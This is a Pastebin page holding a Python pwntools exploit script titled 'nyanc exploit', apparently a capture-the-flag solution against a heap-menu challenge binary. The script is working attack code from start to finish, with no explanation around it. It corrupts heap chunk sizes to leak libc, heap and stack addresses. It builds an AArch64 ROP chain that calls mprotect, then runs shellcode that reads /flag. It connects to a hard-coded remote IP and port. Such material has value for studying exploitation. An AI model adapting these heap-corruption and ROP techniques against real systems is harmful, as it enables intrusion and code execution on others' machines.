Advertisement
Guest User

nyanc exploit

a guest
Jan 20th, 2019
277
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.77 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. # encoding: utf-8
  3.  
  4. from pwn import *
  5. import sys
  6. import ctypes
  7. from time import sleep
  8.  
  9. LOCAL = "remote" not in sys.argv
  10. BINARY = "nyanc"
  11.  
  12. elf = ELF(BINARY)
  13. context.log_level = "debug" if "debug" in sys.argv else "info"
  14. #context.terminal = ['urxvt', '-geometry', '160x60', '-e', 'sh', '-c']
  15. context.terminal = ['tmux', 'splitw', '-h', '-l', '150']
  16. context.update(binary=elf)
  17.  
  18. #libc = ELF("libc.so")
  19. #rop = ROP(libc)
  20. #binsh = next(libc.search("/bin/sh"))
  21.  
  22. def debug():
  23.     if "gdb" in sys.argv:
  24.         pie_base = r.libs()[os.path.realpath(r.executable)]
  25. #        pie_base = 0
  26.  
  27.         gdb.attach(BINARY, """
  28.                   b *%#x
  29.                   b *%#x
  30.                   b *%#x
  31.                   c
  32.                  """ % (
  33.                       pie_base + 0xb98, # ret
  34.                       pie_base + 0xb28, # ret
  35.                       pie_base + 0xc38, # ret
  36.                   ))
  37.         raw_input('attach')
  38.  
  39. if LOCAL:
  40.     r = process(BINARY)
  41. else:
  42.     r = remote("34.245.41.40", 1337)
  43.  
  44. def add(len, data):
  45.     r.sendlineafter(" > ", "1")
  46.     r.sendlineafter("len : ", str(len))
  47.     if len <= 0:
  48.         return
  49.     r.sendafter("data : ", data)
  50.  
  51. def view(idx):
  52.     r.sendlineafter(" > ", "2")
  53.     r.sendlineafter("index : ", str(idx))
  54.     return r.readuntil("======")
  55.  
  56. def edit(idx, data):
  57.     r.sendlineafter(" > ", "3")
  58.     r.sendlineafter("index : ", str(idx))
  59.     r.sendafter("data : ", data)
  60.  
  61. def free(idx):
  62.     r.sendlineafter(" > ", "4")
  63.     r.sendlineafter("index : ", str(idx))
  64.  
  65.  
  66.  
  67. add(0x450-(16+32), "a"*24)
  68. add(0, "b")
  69. align = 0x960
  70. edit(1,"\x00"*24+p64(align+1)+"\x00"*32)
  71. add(4096, "c")
  72. add(0, "d")
  73.  
  74. libc_leak = view(3).split("data: ")[1].split("======")[0]
  75. libc_leak = u64(libc_leak.ljust(8,"\x00")) - 0x154010
  76. log.success("libc base @ " + hex(libc_leak))
  77. add(align-0x40-0x10, "eeee")
  78. add(0, "f")
  79. edit(5,"\x00"*24+"\xff"*8+"\x00"*32)
  80. add("-137616","g")
  81. add(0,"h")
  82. heap_leak = view(7).split("data: ")[1].split("======")[0]
  83. heap_leak = u64(heap_leak.ljust(8,"\x00")) - 48
  84. log.success("current heap ptr @ " + hex(heap_leak))
  85.  
  86. edit(7,"\x00"*24+"\xff"*8+"\x00"*0x200)
  87. libc_argv = 0x157dc0
  88. offset = libc_leak - heap_leak + libc_argv
  89.  
  90. free(0)
  91. free(1)
  92. free(2)
  93. free(3)
  94.  
  95.  
  96. add(offset-32-96, "0")
  97. add(0,"1")
  98. stack_leak = view(1).split("data: ")[1].split("======")[0]
  99. if len(stack_leak) < 8:
  100.     log.fail("no leak :-(")
  101.     exit(-1)
  102. stack_leak = u64(stack_leak[8:].ljust(8,"\x00"))
  103. log.success("argv ptr @ " + hex(stack_leak))
  104. offset = stack_leak - (libc_leak + libc_argv) - 328 - 48 - 16 - 8 - 64
  105.  
  106. shellcode = shellcraft.cat('/flag') + shellcraft.exit(0)
  107. #shellcode = shellcraft.breakpoint() + shellcraft.cat('/flag') + shellcraft.exit(0)
  108.  
  109. edit(7, p64(7) + p64(0x4007) + p64(heap_leak & 0xfffffffffffff000) + asm(shellcode))
  110.  
  111. add(offset,"k")
  112. debug()
  113.  
  114. shellcode_addr = p64(heap_leak + 0x68)
  115.  
  116. ld = libc_leak + 0x159000
  117.  
  118. loadx1x2 = p64(libc_leak + 0xf7b74) # ldp x2, x1, [x19, #0x58] ; sub x1, x1, x2 ; sub w0, w0, w1 ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
  119. loadx0 = p64(ld + 0x103e4) # : ldr x0, [x29, #0x68] ; ldp x29, x30, [sp], #0x70 ; ret
  120. mprotect = p64(libc_leak + 0x72DF4 )
  121.  
  122. ropchain = "aaaaaaaabbbbbbbbcccccccc" + loadx1x2 + p64(heap_leak - 0x8) + "ffffffffgggggggghhhhhhhh" + p64(heap_leak - 0x8) + loadx0 + p64(heap_leak - 0x80)*3 + mprotect + "ooooooooppppppppqqqqqqqqrrrrrrrrssssssssttttttttuuuuuuuuvvvvvvvvwwwwwwwwxxxxxxxxyyyyyyyyzzzzzzzzAAAAAAAA" + shellcode_addr + "CCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKKLLLLLLLLMMMMMMMMNNNNNNNNOOOOOOOOPPPPPPPPQQQQQQQQRRRRRRRRSSSSSSSSTTTTTTTTUUUUUUUUVVVVVVVVWWWWWWWWXXXXXXXXYYYYYYYYZZZZZZZZ"
  123.  
  124. add(500, ropchain)
  125.  
  126. log.info('Getting shell...')
  127. #r.sendline("cat flag*;")
  128. r.interactive()
  129. r.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement